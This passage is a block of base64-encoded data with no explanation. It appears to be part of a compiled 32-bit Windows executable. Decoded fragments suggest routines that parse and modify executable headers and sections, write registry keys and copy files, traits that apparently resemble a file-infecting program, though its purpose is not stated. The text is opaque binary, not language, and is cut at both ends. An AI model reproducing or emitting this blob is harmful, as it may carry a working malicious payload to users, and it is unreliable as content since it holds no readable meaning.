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 g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D xAxHg/8KfNpqAVhfXl2DxBDDgewEAgAAU1VWV8dEJBABAAAAMtu+Xg5BAL0EAQAAvwEAAID/ dCQQjUQkGIgd1DJJAIgd0DFJAFZo6ChBAFDoBBYAAIPEEFVo1DJJAGoBVujYzv//WVlQjUQk IFBX6Dvg//+DxBQ4HdQySQB0J1Vo0DFJAGoCVuixzv//WVlQjUQkIFBX6BTg//+DxBQ4HdAx SQB1F/9EJBCDfCQQCX6EiB3UMkkAiB3QMUkAX15dW4HEBAIAAMNVi+y4IDAAAOhLGQAAU1ZX aAAAEADobRkAADPbWTvDiUXsdQlfXjPAW8nCBADo8O3//4XAdQ1oYOoAAP8VLNFAAOvqaADQ BwD/NdgzSQDo0/X//1lZagHoovr//+jp/v//jYWI8///aAQBAABQU/8VFNFAAI2F3P7//1Do D9j//1mJXfi+JAkAAOiU7f//hcB1Cmhg6gAA6YcDAACNhdz+//9Q6LPX//+FwFl1Wo2F3P7/ /1NQjYWI8///UP8VfNBAAI2F3P7//2ogUP8VgNBAAI2F3P7//2gAUAEAUOjb6P//U+jG4P// M9K5ACgAAPfxjYXc/v//gcIAUgEAUlDoYtn//4PEFFP/NdgzSQDok83//zlF+FlZiUXoD439 AgAAaHoiAACNheDP//9owPBAAFDowRQAAI2F4M///4id9N///1CNhdz+//9Q6K3v//9WjYWM 9P//U1Doig8AAP91+P812DNJAOgKzf//g8QoOBiJReQPhJUCAABQjYXw9P//UOjBDwAAU+gh 4P//M9KDxAz3deg7Vfh1AUI7Veh8AjPSUv812DNJAOjIzP//i/hZWTgfdRBT/zXYM0kA6LTM //9Zi/hZjYXc/v//UI2FOPr//1Dobw8AAI2FVPX//1dQ6GIPAACNhYz0//9XUOhVDwAAagGN hYz0////dexQ6P/5//+DxCSFwA+FAAIAAFaNhYz0//9TUOjLDgAAjYXc/v//UI2FOPr//1Do GA8AAI2FVPX//1dQ6AsPAACNhYz0//9XUOj+DgAA/3XkjYXw9P//UOjvDgAAagGNhYz0//// dexQ6H76//+DxDiFwHQMV+in+///WemSAQAAU2jU8EAA6B7M//+DTeD/WVmJRfSJXfBWjYWM 9P//U1DoRg4AAI2F3P7//1CNhTj6//9Q6JMOAACNhVT1//9XUOiGDgAA/3XkjYXw9P//UOh3 DgAAU+jX3v//M9KDxCj3dfQ7VeCJVfx1BEKJVfw7VfR8A4ld/P91/GjU8EAA6HbL//9QjYWM 9P//UOg7DgAAagGNhYz0////dexQ6Mr5//+DxByFwHUT/0Xwi0X8g33wBolF4A+MXP///4N9 8AYPjM0AAABTaCwOQQDoWcv//1OJRfToWN7//zPSg8QM93X0O1X0iVX8fAOJXfyNhVzy//9Q jYWw/f//UFfoM9L//42FsP3//2g08EAAUOjKDQAA/3X8aCwOQQDo28r//1CNhbD9//9Q6LAN AABWjYWM9P//U1DoMg0AAI2F3P7//1CNhTj6//9Q6H8NAACNhVT1//9XUOhyDQAAg8RAjYXw 9P///3XkUOhgDQAAjYWw/f//UI2FjPT//1DoTQ0AAGoBjYWM9P///3XsUOjc+P//g8Qc/0X4 i0X4O0XoD4wD/f//aMAnCQD/FSzRQADpW/z//1WL7IHsYAUAAGah9ChBAFZXagdmiUWgWTPA jX2i86tmq6HwKEEAjX3oiUXkM8CrZqsz/8dF4CAAAAA5PfA4SQCJffSJffgPhd8BAAA5PQg5 SQAPhNMBAACLdQg793QljUXgUI1FgFD/FWTQQACNRYBQjUYCUOhwXgAAWYXAWQ+EpwEAAI2F WP///4NN0P+JRdiNhbD+//+JRcCNhbD+//+JRciNRYBTUI1FoIl9xFCJfdSJfdzHRcx/AAAA 6GkMAABZjYUY////WWoiUGr/Vos1eNBAAGoBV//Wx0X8AgAAALtE8EAAikX8ahQEQYhF5I2F WP///1CNReRq/1BqAVf/1opF5Go0iEWgjYWw/v//UI1FoGr/UGoBV//WjUX0UI1FwFCNhRj/ //9qAlD/FQg5SQA5fQyJRfAPhN4AAAA7x3VgOX34dVtqAWjcAUEAV+gr3P//WYPgAVCNhaT7 //9Q6MXW//+Nhaj8//9TUOinCwAAjUWgUI2FqPz//1DopwsAAGoBjYWk+///V1CNhaj8//9X UP91COh6vP//g8Q4iUX4OX3wdXVqAWjCDUEAjYWg+v//V1Dob9b///91CI2FrP3//1DoTwsA AI2FrP3//1NQ6FILAACNRaBQjYWs/f//UOhCCwAAjYWs/f//U1DoNQsAAI2FoPr//1CNhaz9 //9Q6CILAABqAWr/jYWs/f//av9Q6PwDAACDxEj/RfyDffwFD4y8/v//W19eycNVi+y4nEMA AOjuEgAAjUUMV1CDTfz//3UIx0X4gD4AAGoDagFfV/91DOgpWwAAhcAPhUABAACNRfhTUI2F ZLz//1CNRfxQ/3UM6ANbAAAz2zld/IldCA+GEQEAAFaNtXi8///2RvgCjUbsdBP/dRBqAlDo if///4PEDOnbAAAAjYXs/P//UI2F8P3//1D/NujZ3v//g8QMhcAPhbsAAAD/dRCNhfD9//9Q 6CP9//9ZWVdo3AFBAFPoldr//1kjx1CNheT6//9Q6DDV//+DxBA5XRAPhIIAAABXjYXk+v// U1CNhez8//9TUI2F8P3//1Do87r//4PEGFdowg1BAFPoTdr//1kjx1CNhej7//9Q6OjU//// No2F9P7//1DoyQkAAI2F9P7//2hE8EAAUOjICQAAjYXo+///UI2F9P7//1DotQkAAFdq/42F 9P7//2r/UOiQAgAAg8Q4/0UIg8Ygi0UIO0X8D4L3/v//Xv91DOjWWQAAW1/Jw2oBWFBqAmoA 6Hr+//+DxAxoAN1tAP8VLNFAADPA6+S4hCMAAOhZEQAAU1VWV41EJBRoBAEAADPbUFP/FRTR QACLPYDQQAC+5DVJAGogVv/XU41EJBhWUP8VfNBAAGogVolEJBj/1zlcJBB0Vmh6IgAAjYQk HAEAAGjA8EAAUOifDQAAjYQkJAEAAIicJDgRAABQVuiP6P//aABQAQBW6ETh//9T6C/Z//8z 0rkAKAAA9/GBwgBSAQBSVujR0f//g8QoVuh85v//WWonVv/XOR3wOEkAv9wzSQB0RVZXaOA0 SQBoAgAAgOiB1///agFokwtBAOioxf//g8QYUP8V9NBAAIvoaJMMQQBV/xU40UAAO8N0BWoB U//QVf8V8NBAADlcJBB1BDPA63U5HfA4SQB0C1NW6MvY//9ZWetfOR34OEkAdVeLLQDQQABq AlNT/9VTU1NTU1ZTagJoEAEAAFNXV1CJRCRE/xVI0EAA/3QkEIs1QNBAAP/WagFTU//Vi+hq 